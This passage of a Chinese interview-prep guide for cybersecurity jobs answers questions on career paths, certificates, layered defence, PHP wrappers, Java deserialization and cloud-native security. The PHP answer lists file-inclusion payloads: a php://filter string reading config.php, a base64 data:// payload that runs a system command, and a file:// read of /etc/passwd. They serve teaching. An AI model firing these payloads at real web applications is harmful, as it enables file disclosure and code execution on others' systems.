  3. 漏洞输出 --- 整理漏洞报告,提供修复建议

(2)与渗透测试岗位的区别

维度 安全服务岗 渗透测试岗
核心定位 客户交付+问题解决 技术攻防演练
工作方式 安全评估+风险排查+合规 漏洞挖掘+渗透测试
技能要求 技术+沟通+文档 深度技术能力
输出成果 安全方案+评估报告 漏洞报告+POC
沟通需求 高(需与客户频繁沟通) 中(偏技术内部沟通)

(3)常见面试误区

  • 面试安全服务岗时如果回答渗透测试的内容 → 岗位理解不够精准
  • 安全服务岗需要更强沟通能力、文档撰写能力和风险排查思维
  • 渗透测试岗需要更深的技术功底,偏向纯技术方向

(4)个人优势提炼模板

复制代码
技术能力:网络基础、TCP/IP协议、流量分析
软实力:细心严谨、爱动脑思考
学习能力:主动性强、快速上手
稳定性:愿意出差、长期深耕

面试题29:什么是等保测评师?适合什么样的人?

考察点: 职业路径了解

参考答案:

(1)岗位定义

  • 等保测评师是从事信息安全等级保护测评工作的专业人员
  • 负责对企业信息系统进行安全评估和合规检查
  • 确保系统满足国家等级保护要求

(2)适合人群

人群 原因
缺乏实操经验的新人 技术门槛相对低,可以边干边学
女生想从事安全方向 偏文职类工作,对体力要求低
渗透测试入行困难者 可作为进入安全领域的切入点
沟通能力强的人 工作涉及大量客户沟通和文档撰写

(3)所需素质

  • 耐心 --- 测评工作需要细致和耐心
  • 抗压能力 --- 面对客户和项目压力
  • 自主学习能力 --- 不断学习新标准、新要求
  • 执行力 --- 能按时完成测评任务

(4)职业发展路径

复制代码
等保测评师(入门)
    ↓
安全服务工程师(积累经验)
    ↓
渗透测试工程师(深入技术)
    ↓
安全专家/架构师

(5)建议

  • 如果缺乏实操经验无法直接做渗透测试
  • 等保测评师是一个不错的切入点和跳板

面试题30:证书过期是否会影响求职?

考察点: 职业发展认知

参考答案:

(1)核心观点

  • 证书过期并不直接影响找工作
  • 这不是求职的硬性障碍

(2)具体情况分析

场景 影响
个人能力证明 不影响 --- 写在简历上完全没问题
企业承接项目 可能影响 --- 某些项目要求有效证书
资质审核 视企业而定 --- 不是所有企业都要求

(3)关键结论

  • 证书只是辅助证明,实际技术能力和项目经验才是关键
  • 面试时重点展示的是你会什么、做过什么
  • 证书过期更多是企业项目需求的问题,不是个人能力问题

(4)建议

  • 如果证书过期,可以注明"已通过考试,证书过期"
  • 或者说明"具备该证书同等水平的知识储备"
  • 不要因为没有有效证书就放弃投递简历

面试题31:请描述网络安全的三层防护措施。

考察点: 安全体系理解

参考答案:

(1)三层架构

复制代码
第一层:立即处置(应急响应层)
    ↓
第二层:后期维护(持续运维层)
    ↓
第三层:合规性维护(合规治理层)

(2)各层详解

第一层:立即处置

  • 应对入侵事件的快速响应
  • 应对勒索软件的应急处置
  • 应对高危漏洞的即时修复
  • 关键:速度和准确度

第二层:后期维护

  • 确保系统长期安全
  • 持续监控和安全运营
  • 定期安全评估和渗透测试
  • 关键:持续性和全面性

第三层:合规性维护

  • 落实等保五级要求
  • 持续符合数据安全法规
  • 满足行业合规标准
  • 关键:规范性和可审计性

(3)实际意义

  • 三层防护构成了完整的安全体系
  • 从"应急"到"运维"到"合规",层层递进
  • 缺任何一层,安全体系都不完整

五、综合技术类(共3题)


面试题32:请解释PHP伪协议和Java序列化,以及它们为什么是安全重点?

考察点: 安全知识广度

参考答案:

(1)PHP伪协议

  • PHP内置的多种流封装协议
  • 常用于文件包含漏洞利用

常见协议:

协议 作用 典型利用
php://filter 读取文件内容 php://filter/convert.base64-encode/resource=config.php
php://input 读取POST数据 配合文件包含执行任意代码
data:// 执行数据流 data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
file:// 读取本地文件 file:///etc/passwd

(2)Java序列化/反序列化

序列化: 将Java对象转换为字节序列(可存储/传输)

反序列化: 将字节序列恢复为Java对象

安全风险:

  • 反序列化时,如果数据来自不可信源
  • 攻击者可以构造恶意序列化数据
  • 触发对象构造方法中的危险操作
  • 导致远程代码执行

(3)所有语言的序列化本质

所有语言的序列化本质相同:

  • 序列化 = 对象 → 可存储/传输的格式
  • 反序列化 = 格式 → 还原为对象

Python示例:

python 复制代码
import json
import pickle

# JSON序列化(安全)
data = {"name": "admin", "role": "user"}
json_str = json.dumps(data)  # 序列化
obj = json.loads(json_str)   # 反序列化

# Pickle序列化(不安全)
pickle_bytes = pickle.dumps(data)  # 序列化
obj = pickle.loads(pickle_bytes)   # 反序列化

(4)推荐学习路径

  1. 先搞定PHP和Docker --- 打好基础
  2. 再补Java序列化知识 --- 深入安全领域
  3. 理解云原生安全 --- 顺应发展趋势

面试题33:什么是云原生安全?为什么越来越重要?

考察点: 行业趋势理解

参考答案:

(1)定义

云原生安全是指在云原生架构(容器、微服务、Kubernetes等)中实施的安全措施和最佳实践。

(2)核心领域

领域 说明
容器安全 镜像扫描、运行时安全、容器逃逸防护
编排安全 Kubernetes RBAC、网络策略、Pod安全策略
微服务安全 服务间认证、API网关、mTLS
供应链安全 CI/CD安全、镜像签名、依赖扫描

(3)为什么越来越重要

技术趋势:

  • 企业大量上云,云原生成为主流
  • 传统边界安全模型失效
  • 容器化部署带来新的攻击面

行业变化:

  • 去年该课程被砍掉
  • 但随着云计算普及,今年可能会重新加入课程体系
  • 说明行业对云原生安全的需求在增长

(4)基础要求

  • 掌握容器技术(Docker/Podman)是学习云原生安全的基础
  • 建议系统学习相关课程
  • 利用暑假提前练习

相关推荐
栩栩云生2 小时前
命令行的门槛从"会写"变成了"会拦"
安全·ai编程·命令行
GitLqr2 小时前
别再盲目复制了:彻底搞懂 CORS 的本质与那些“神坑”
安全·http·面试
xian_wwq3 小时前
【案例分析】Hugging Face生产基础设施入侵攻击分析
网络·安全
北冥you鱼5 小时前
OpenZeppelin Contracts 完全指南:从入门到精通,构建安全的智能合约
安全·区块链·智能合约
头茬韭菜6 小时前
4.9 SSRF 防护 — Web 工具的出站安全与私有 IP 拦截
前端·tcp/ip·安全
kakakahahahaha7 小时前
Win11桌面没有此电脑/我的电脑?不只桌面图标设置一种方法(6种专业设置随便选)
安全·电脑·笔记本电脑·软件需求
恒拓高科WorkPlus7 小时前
BeeWorks Meet私有化视频会议:内网会议、组织架构联动与会议安全
安全·架构
云祺vinchin8 小时前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath7128 小时前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频